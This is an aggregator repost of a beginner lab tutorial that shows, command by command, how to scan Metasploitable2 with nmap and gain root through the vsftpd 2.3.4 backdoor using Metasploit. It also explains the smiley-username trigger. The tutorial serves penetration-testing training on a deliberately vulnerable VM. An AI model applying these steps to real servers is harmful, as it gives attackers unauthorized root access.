惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

小众软件
小众软件
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
WordPress大学
WordPress大学
月光博客
月光博客
Hugging Face - Blog
Hugging Face - Blog
博客园 - 聂微东
博客园 - 【当耐特】
博客园_首页
The Cloudflare Blog
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
Apple Machine Learning Research
Apple Machine Learning Research
Last Week in AI
Last Week in AI
酷 壳 – CoolShell
酷 壳 – CoolShell
大猫的无限游戏
大猫的无限游戏
雷峰网
雷峰网
量子位
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
T
Tailwind CSS Blog
IT之家
IT之家
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
GbyAI
GbyAI
V
Visual Studio Blog
F
Fortinet All Blogs
Martin Fowler
Martin Fowler

DEV Community

Authentication Security Deep Dive: From Brute Force to Salted Hashing (With Java Examples) Why AI Systems Don’t Fail — They Drift Spilling beans for how i learn for exam😁"Reinforcement Learning Cheat Sheet" I Replaced Chrome with Safari for AI Browser Automation. Here's What Broke (and What Finally Worked) How Python Borrows Other People's Work The $40 Architecture: Processing 1 Billion API Requests with 99.99% Uptime Vibe Coding: A Workflow Guide (From Zero to SaaS) Most webhook security guides protect the wrong side. The scary part is delivery. Headless CMS for TanStack Start: Build a Blog with Cosmic EU Age Verification App "Hacked in 2 Minutes" — What Actually Happened Comfy Cloud’s delete function does not actually remove files Running AI Models on GPU Cloud Servers: A Beginner Guide Event-driven media intelligence with AWS Step Functions and Bedrock I scored 500 AI prompts across 8 quality dimensions — here's what broke How to Call Google Gemini API from Next.js (Free Tier, No Backend Needed) The Portal Protocol: Reclaiming Human Connection in the Age of AI How to Fix Your Team's Scattered Knowledge Problem With a Self-Hosted Forum Intro to tc Cloud Functors: A Graph-First Mental Model for the Modern Cloud Designing Multi-Tenant Backends With Both Ownership and Team Access I Built a Neumorphic CSS Library with 77+ Components — Here's What I Learned PostgreSQL Performance Optimization: Why Connection Pooling Is Critical at Scale Cómo construí un SaaS multi-rubro para gestionar expensas en Argentina con FastAPI + Vue 3 🚀 I Built an Ethical Hacking Scanner Tool – Open Source Project I Replaced /usage and /context in Claude Code With a Single Statusline A Pythonic Way to Handle Emails (IMAP/SMTP) with Auto-Discovery and AI-Ready Design I Collected 8.9 Million Polymarket Price Points — Here's What I Found About How Markets Really Move EcoTrack AI — Carbon Footprint Tracker & Dashboard Everyone's Using AI. No One Agrees How. 5 self-hosted ebook managers worth trying in 2026 Building Your First AI Agent with LangChain: From Chatbot to Autonomous Assistant
Exploiting vsftpd 2.3.4 on Metasploitable2 (Step-by-Step ...
Alex Agyei · 2026-05-06 · via DEV Community

One of the biggest turning points in learning cybersecurity is understanding how attackers move from:

Discovery → Exploitation → Access

In a training session I led, students went from running a simple scan to gaining root access on a vulnerable machine. The excitement was great — but the real value was understanding how and why it worked.

In this guide, you'll replicate that exact process step by step.


What You’ll Learn

  • How to scan a target using Nmap
  • How to identify vulnerable services
  • How the vsftpd 2.3.4 backdoor works
  • How to exploit it using Metasploit
  • How to gain root access

Prerequisites

Make sure your lab is ready:

  • Kali Linux (attacker)

Kali

  • Metasploitable2 (target)

Metaspoitable

  • Both machines on the same network (NAT or Host-only)

Step 1: Get the Target IP

On Metasploitable2:

ifconfig

Ipadrr

Look for something like:

192.168.56.101

Step 2: Scan with Nmap

On Kali:

nmap -sV target_ip

nmapp

Why -sV matters

Detects service versions
Helps you find known vulnerabilities

Key Result
21/tcp open ftp vsftpd 2.3.4

👉 This is your entry point.

Step 3: Understand the Vulnerability

vsftpd 2.3.4 contains a backdoor.

Trigger condition:
Login using a username ending with:
:)
What happens:
A shell opens on port 6200

This is intentionally vulnerable — perfect for learning exploitation.

Step 4: Start Metasploit on kali

msfconsole

msfc

Step 5: Find the Exploit

search vsftpd

search

Expected result:
exploit/unix/ftp/vsftpd_234_backdoor

Step 6: Load the Exploit

use exploit/unix/ftp/vsftpd_234_backdoor

used

Step 7: Set Target IP

set RHOST target_ip

rhost

Step 8: Run the Exploit

run

runn
If successful:

Command shell session 1 opened

Step 9: Confirm Access

whoami

outt

Output:

root

🎉 You now have root access.

Key Concepts (Simple Breakdown)

Reconnaissance
Finding open ports and services
Example tool: Nmap

Enumeration
Identifying versions and weaknesses
This is where real attack paths appear

Exploitation
Using a vulnerability to gain access
In this case: a built-in backdoor

Metasploit
A framework that automates exploitation
Saves time and standardizes attacks

Common Beginner Mistakes

  1. Skipping Version Detection

Wrong:

nmap target_ip

Correct:

nmap -sV target_ip

  1. Using the Wrong IP Mixing attacker and target IP Using 127.0.0.1 incorrectly

✔ Always verify:

ifconfig

  1. Network Misconfiguration

If nothing works:

Check both VMs are on the same network

  1. Forgetting RHOST
    set RHOST target_ip

  2. Blindly Running Exploits

Don’t just run tools — ask:

Why does this vulnerability exist?
What triggered it?
How would this look in a real system?
Pro Tips
Run deeper scans
nmap -A target_ip
Think like a professional

Use a workflow:

Scan
Identify
Research
Exploit
Validate
Conclusion

This lab shows a complete beginner-friendly attack chain:

Discover a service
Identify its version
Find a vulnerability
Exploit it
Gain access

Even though this is a deliberately vulnerable system, the process is exactly how real penetration testing works.

The goal is not just to hack — but to understand.

Next Steps
Repeat this lab without guidance
Document it on GitHub (build your portfolio)
Try another vulnerable service on Metasploitable2
Final Note

If you're learning cybersecurity:

Stay consistent.
Stay curious.
Keep building.

Follow for more hands-on cybersecurity labs and real-world breakdowns.